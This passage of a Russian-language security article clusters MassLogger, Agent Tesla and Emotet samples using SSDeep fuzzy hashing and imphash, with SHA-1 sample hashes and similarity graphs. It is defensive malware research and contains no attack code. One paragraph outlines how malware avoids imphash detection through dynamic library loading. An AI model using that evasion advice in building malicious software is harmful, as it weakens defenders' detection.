- он может определить фрагменты файлов, которые имеют последовательности одинаковых байтов, расположенных в схожем порядке, либо байты между двумя последовательностями, где они могут различаться как по значению, так и по длине.
Virus Total использует SSDeep, который выполняет нечеткое хеширование на загружаемых пользователями файлах. Пример — по ссылке.
Virus Total использует SSDeep
Итак, рубрика э-э-эксперименты! Возьмем по 18 образцов исполняемых файлов нашумевших вирусяк: среди них — MassLogger (имена образцов будут начинаться с аббревиатуры ML), Agent Tesla (AT) и Emotet (EMO). Только вот где мы найдем такое количество малвари? Да на базаре.
Мы будем работать с .EXE-семплами, у каждого из испытуемых объектов уникальная криптографическая хеш-сумма SHA-1. Перечислим их все (команда для любителей Linux: shasum ML ):
f59a138da63769720e61e37fe52030774472db19 ML1.exe bd57fd4002228352bf60186562d0dde87f4f33e5 ML2.exe 89ebb9ff3ab6c9a3330e798036bb81cec29c417f ML3.exe e9029f66cc313a41b22cb922da7f52a899ac166c ML4.exe 1dde9710a0d780b42678f41bbc949c82f13a74af ML5.exe 8c635bc0aaf4214024cf7342d5f186ebf6171652 ML6.exe 3cb9d16fa0bf3d72f12bf844e0a293d818512c54 ML7.exe 619480abce06d5221c1dd430233fa19ff7f863b5 ML8.exe ab1aed403d37d2f90f2a59505b0724927790841e ML9.exe 65e9d26cf5e6742bdf0a772f6c9692ec533aded7 ML10.exe 3e5b239ddab79130b5b8ffe623c6272d365774d8 ML11.exe c53e68fe71b695e2c7fb6c05aedb422bf5856f7b ML12.exe 6c610f5675f7fb4d78ca2b6e4be9ff43ba47c929 ML13.exe 10cf5e8f60ddac43813e5b8880aa84805e4a30d8 ML14.exe d7a1665e425fe63054c5c836b3807f58da43948a ML15.exe 98e0a38ab5db61a6eb7b50f4e09556af7f46978d ML16.exe 2c2010e2fa02f4c70ea9dd5083026d0138f655d5 ML17.exe 67ee652bc805fc8f5c9c653785b4d82baae0f78e ML18.exe
С использованием SSDeep рассчитаем кусочный хеш каждого из файлов и сохраним результат в файле командой ssdeep MassLogger/* > ML.ssd . На выходе получим следующее:
Выглядит пугающе, правда? Давай сравним объекты между собой (в выводе мы предварительно удалили дубли, оставив уникальные совпадения между семплами). Для этого используем следующую команду:
В выводе команды правый столбец — процент совпадения между семплами.
| ML10.exe matches ML.ssd:ML13.exe | (49) | | ML10.exe matches ML.ssd:ML15.exe | (49) | | ML10.exe matches ML.ssd:ML18.exe | (49) | | ML10.exe matches ML.ssd:ML6.exe | (47) | | ML10.exe matches ML.ssd:ML7.exe | (49) | | ML11.exe matches ML.ssd:ML14.exe | (49) | | ML11.exe matches ML.ssd:ML5.exe | (54) | | ML11.exe matches ML.ssd:ML9.exe | (52) | | ML13.exe matches ML.ssd:ML15.exe | (50) | | ML13.exe matches ML.ssd:ML18.exe | (50) | | ML13.exe matches ML.ssd:ML6.exe | (50) | | ML13.exe matches ML.ssd:ML7.exe | (50) | | ML14.exe matches ML.ssd:ML5.exe | (47) | | ML14.exe matches ML.ssd:ML9.exe | (47) | | ML15.exe matches ML.ssd:ML18.exe | (49) | | ML15.exe matches ML.ssd:ML6.exe | (47) | | ML15.exe matches ML.ssd:ML7.exe | (46) | | ML18.exe matches ML.ssd:ML6.exe | (60) | | ML18.exe matches ML.ssd:ML7.exe | (49) | | ML5.exe matches ML.ssd:ML9.exe | (49) | | ML6.exe matches ML.ssd:ML7.exe | (55) |
Получается, что в исследуемых семплах присутствуют стабильно кочующие участки кода, которые обеспечивают схожесть. Поскольку такой вывод, скажем честно, малоинформативен, для наглядности изобразим связи в виде графа.
Связи исследуемых семплов
Из 18 объектов оказалось всего восемь никак не связанных между собой образцов, но это пока. Тем не менее можно смело утверждать, что мы выявили целое семейство вредоносов. Теперь протестируем остальные объекты из других групп и сравним результаты.
Сразу изобразим граф связности для образцов Agent Tesla. Не будем перечислять хеш-суммы образцов, а сразу приступим к сравнению: сначала файлов между собой, затем с семплами MassLogger.
Граф связности для образцов Agent Tesla
Для Agent Tesla также обнаружено два семейства взаимосвязанных семплов и десять воинов-одиночек. Что дальше? Сравним SSDeep-хеши MassLogger с объектами Emotet. Пусто, нет совпадений. А если с Agent Tesla? Строим граф.
Сравнение MassLogger с Agent Tesla
Бинго! Совпадения есть, и взаимопроникновение фрагментов кода семейств Agent Tesla и MassLogger доказано.
Однако не всегда у исследователя достаточно семплов и образцов вредоносов других семейств — например, для семейства Emotet. На графе видно, что из всех 18 объектов 13 так или иначе связаны между собой, а семплы EMO3, EMO9, EMO11, EMO15 и EMO18 не нашли «друзей», и их мы отражать на рисунке не станем.
Взаимосвязи объектов на графе
Итак, что же в итоге у нас получилось? У групп MassLogger есть пять объектов, связанных с объектами Agent Tesla. Почему так вышло? Во-первых, это два кейлоггера, у них есть пересечения в функциональности. Во-вторых, они оба используют один и тот же загрузчик. В каждом из тестов находились связи (то есть сходства) между объектами более чем на 50%. Иными словами, из 18 образцов так или иначе были связаны между собой как минимум девять. Среди семплов нашлись по меньшей мере две группы связанных объектов, а у Emotet — сразу три группы. Теперь давай рассмотрим другой тип хеш-функций, и, возможно, мы найдем новые взаимосвязи.
Хеш импортируемых библиотек — imphash
Imphash расшифровывается как import hash — «хеш импортов», то есть всех импортируемых программой библиотек, прописанных в исполняемом файле Windows Portable Executable (PE). Чтобы вычислить imphash, все импортированные библиотеки и связанные с ними функции выгружаются в строковом формате, объединяются, а затем криптографически хешируются. Virus Total также высчитывает по этому алгоритму хеш для PE-файлов.
Virus Total также использует imphash
Естественно, злоумышленники знают о таком алгоритме и могут его обойти, сделав свой вирус более модульным. Например, можно загружать каждый модуль в память только при необходимости или динамически загружать библиотеки, сохраняя объем импорта настолько малым, насколько позволяет компилятор. При этом любой импорт переносится в память только во время выполнения, а не транслируется в таблице импорта в PE-файле. Вирусы пишут люди, а люди — существа ленивые, нужно немного потрудиться, чтобы перевести работу программы в такой формат.
Перейдем к практике и найдем взаимосвязи среди наших исследуемых групп объектов. Начнем с MassLogger. Появились ли новые связи? Да, мы получили три группы связанных объектов — их imphash идентичны!
Три новые группы связанных объектов с общими imphash
Изобразим общие imphash файлов в виде графа. Тут со всеми объектами получается полносвязный граф, так что не суди строго, если какого-то ребра графа не будет! 🙂
Общие imphash файлов
Сравним с предыдущим графом из секции экспериментов с SSDeep.
Сравнение графов
Теперь объединим два получившихся графа в группы по их вершинам.
Объединим оба графа
Получается, что среди 18 образцов MassLogger не нашли себе «друзей» всего три объекта: ML1, ML2 и ML4, а это всего 17% от общего количества. Таким образом, используя две техники, мы выявили и подтвердили взаимосвязи вредоносных семплов и их «группировки».
Далее разберем остальные семейства вредоносных файлов. Agent Tesla по imphash разделился на две большие группы.
Деление Agent Tesla по imphash
Сравним с предыдущим графом из секции тестов с SSDeep.
Сравнение графа с предыдущим
Объединим два получившихся графа в группы по их вершинам.
Объединяем два графа в группы по их вершинам
Imphash дополнил связи, которые были выявлены на этапе тестирования с SSDeep, и продемонстрировал более целостную картину. Идентичный с левой группой imphash присутствует в образцах группы MassLogger — ML5, ML9, ML11 и ML14.
Далее рассмотрим группу малвари Emotet.
Группа Emotet
Сравни с предыдущим графом из секции тестов с SSDeep. Напомним, что семплы EMO3, EMO9, EMO11, EMO15 и EMO18 не нашли себе «друзей» в прошлом тесте.
Объединим два получившихся графа в группы по их вершинам.
Сравним графы, объединив их по вершинам
Опа! Недаром червь Emotet получил такое распространение. В наш тест попали довольно хитрые образцы, у которых, судя по всему, в явном виде не присутствует таблица импортов, а следовательно, отсутствует imphash. Скорее всего, в них используется одна из техник, которые мы перечисляли в разделе об этом типе хеширования.
Анализируя графы взаимосвязей, можно заметить, что благодаря комбинации imphash и SSDeep мы получили новые взаимосвязи между объектами, тем самым значительно расширив базу знаний об исследуемых образцах. И это знание позволяет с относительно малыми затратами эффективно дополнять сигнатурный анализ вредоносного ПО достаточно надежными отпечатками образцов по классу, семейству или типу малвари.
Борис Осепов
Специалист ИБ. Увлекаюсь средствами анализа вредоносного ПО. Люблю проверять маркетинговые заявления на практике :)
Читайте также: